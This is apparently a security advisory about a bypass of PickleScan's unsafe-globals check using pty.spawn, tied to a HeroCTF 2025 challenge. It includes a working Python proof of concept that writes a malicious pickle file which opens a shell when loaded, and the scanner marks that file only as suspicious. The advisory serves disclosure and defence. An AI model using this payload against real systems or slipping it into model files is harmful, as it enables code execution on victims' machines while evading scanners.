The vulnerability allows malicious actors to bypass PickleScan's unsafe globals check, leading to potential arbitrary code execution. The issue stems from the absence of the pty library (more specifically, of the pty.spawn function) from PickleScan's list of unsafe globals. This vulnerability allows attackers to disguise malicious pickle payloads within files that would otherwise be scanned for pickle-based threats.
For 2025's HeroCTF, there was a challenge named Irreductible 2 where players would need to bypass the latest versions of PickleScan and Fickling to gain code execution. The challenge writeup, files and solve script have all been released.
The intended way was to use pty.spawn but some players found alternative solutions.
import pickle
command = b"/bin/sh"
payload = b"".join(
[
pickle.PROTO + pickle.pack("B", 4),
pickle.MARK,
pickle.GLOBAL + b"pty\n" + b"spawn\n",
pickle.EMPTY_LIST,
pickle.SHORT_BINUNICODE + pickle.pack("B", len(command)) + command,
pickle.APPEND,
# Additional arguments can be passed by repeating the SHORT_BINUNICODE + APPEND opcodes
pickle.OBJ,
pickle.STOP,
]
)
with open("dump.pkl", "wb") as f:
f.write(payload)
PickleScan detects the pty.spawn global as "suspicious" but not "dangerous", allowing it to be loaded.
0.0.33Exploitability
AV:NAC:LPR:NUI:RScope
S:UImpact
C:HI:HA:HCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H